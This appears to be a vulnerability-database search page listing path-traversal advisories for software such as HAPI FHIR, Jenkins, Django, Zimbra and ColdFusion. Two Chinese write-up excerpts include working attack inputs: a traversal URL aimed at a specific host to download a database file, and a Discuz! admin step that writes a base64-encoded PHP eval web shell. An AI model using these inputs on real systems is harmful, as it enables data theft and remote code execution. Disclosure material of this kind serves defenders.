78 matches found
MITM based Zip Slip in `ca.uhn.hapi.fhir:org.hl7.fhir.core`
MITM can enable Zip-Slip...
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Due to improper path santization, archives containing relative file paths can cause files to be written or overwritten outside of the target directory...
PT-2022-7189 · WordPress · Welcart Ecommerce Plugin
Name of the Vulnerable Software and Affected Versions: Welcart eCommerce plugin versions = 2.7.7 Description: The issue is related to incorrect restriction of a directory path with limited access in the Welcart eCommerce plugin for WordPress. This can allow a remote attacker to execute arbitrary...
IBM InfoSphere Information Server Information Disclosure Vulnerability (CNVD-2022-85418)
IBM InfoSphere Information Server is a data integration platform from International Business Machines IBM. IBM InfoSphere Information Server versions 8.1, 8.5 and 8.7 contain an information disclosure vulnerability that stems from a program that does not properly restrict directories. An...
PT-2022-4906
Name of the Vulnerable Software and Affected Versions Zimbra Collaboration ZCS versions 8.8.15 and 9.0 Description An issue exists in Zimbra Collaboration ZCS that allows an attacker to upload arbitrary files through amavis via a cpio loophole. This loophole involves extracting files to the...
Improper Limitation of a Pathname to a Restricted Directory in Jenkins
Jenkins before 2.107 and Jenkins LTS before 2.89.4 did not properly prevent specifying relative paths that escape a base directory for URLs accessing plugin resource files. This allowed users with Overall/Read permission to download files from the Jenkins master they should not have access to. On...
CVE-2021-32008
The CVE-2021-32008 entry affects Secomea GateManager, versions 9.6.621421014 and earlier. The root cause is an improper limitation of a pathname to restricted directories, enabling a logged-in GateManager administrator to delete system files or directories. The connected sources confirm the affec...
The vulnerability of the Storage.save() function in the Django web application framework allows a attacker to access confidential information.
The vulnerability of the Storage.save function in the Django web framework relates to an improper restriction on the path name, which is limited to a directory. Exploiting this vulnerability could allow a malicious actor to access confidential information by sending a specially crafted HTTP file ...
PT-2021-24068 · WordPress +1 · Wordpress +1
Name of the Vulnerable Software and Affected Versions: WordPress versions prior to 5.8 Description: The issue makes it easier for remote attackers to execute arbitrary code via a supply-chain attack against WordPress installations that use any plugin for which the slug satisfies the naming...
Grav 路径遍历漏洞
Grav is an extensible CMS Content Management System for personal blogs, small content publishing platforms, and one-page product presentations. A path traversal vulnerability exists in grav, which stems from an improper restriction of pathnames to restricted directories in the affected product...
Path traversal
Improper Limitation of a Pathname to a Restricted Directory 'Path Traversal' vulnerability exists in SFAPV9601 - APC Easy UPS On-Line Software V2.0 and earlier when accessing a vulnerable method of SoundUploadServlet which may lead to uploading executable files to non-specified directories...
The vulnerability of the “go get” command implementation in the Go programming language allows a perpetrator to execute arbitrary code.
The vulnerability of the “go get” command in the Go programming language is related to an incorrect limitation on the path to a restricted directory. Exploiting this vulnerability allows a malicious actor to execute arbitrary code using a specially created malware package...
PT-2019-2456 · Intel · Open Cloud Integrity Technology +1
Name of the Vulnerable Software and Affected Versions: Open Cloud Integrity Technology affected versions not specified OpenAttestation affected versions not specified Description: The issue is related to insufficient password protection in the attestation database for Open CIT, which may allow an...
Adobe Patches Critical ColdFusion Vulnerability With Active Exploit
Adobe has issued an emergency patch for a critical vulnerability in its ColdFusion service that is being exploited in the wild. The vulnerability, CVE-2019-7816, exists in Adobe’s commercial rapid web application development platform, ColdFusion. The ColdFusion vulnerability is a file upload...
用友某办公自动化平台漏洞之2-任意文件下载
简要描述： 程序未对下载目录做限制导致任意文件下载 详细说明： FE协作办公平台 FE协作办公平台 测试版本：5.2.1 版本大于5.2.1未受影响 ，小于5.2.1的版本未测 在网上用百度找了一下 直接传递文件的路径即可下载任意文件 http://218.249.130.74/download.fe?filePath=e:/OA/Media/TemplateOfTaohong//../../../OA/database/feapp5.mdf 漏洞证明： FE协作办公平台 FE协作办公平台 测试版本：5.2.1 版本大于5.2.1未受影响 ，小于5.2.1的版本未测 在网上用百度找了一下...
Discuz! X3.1 Release 20140301后台拿shell真的修复了吗
简要描述： 之前写的几个后台拿shell，Discuz!忽略了，但新版本Discuz! X3.1 Release 20140301实际上有所加强，但是真的修复了之前提到的问题吗？ Discuz!大概做了下面几个改动： 1.统计代码处，对 "和 "" 的被转意了，那就用 ，经过测试，尖括号未被转意。 下面来重现过程： 1.先上传一张版本图： 2. 全局-站点信息-网站第三方统计代码, 里面插入我们要执行的php代码，如下： fputsfopen't.php',w,base64decode"PD9waHAgQGV2YWwoJF9QT1NUW2NdKTs/Pg=="; 3.工具 - 更新缓存,...
OTRS < 2.3.2 Restriction Bypass Vulnerability
Open Ticket Request System OTRS is prone to a restriction bypass vulnerability. SPDX-FileCopyrightText: 2013 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only CPE =...
[SA21572] Tutti Nova "TNLIB_DIR" File Inclusion Vulnerabilities
---------------------------------------------------------------------- Hardcore Disassembler / Reverse Engineer Wanted! Want to work with IDA and BinDiff? Want to write PoC's and Exploits? Your nationality is not important. We will get you a work permit, find an apartment, and offer a relocation...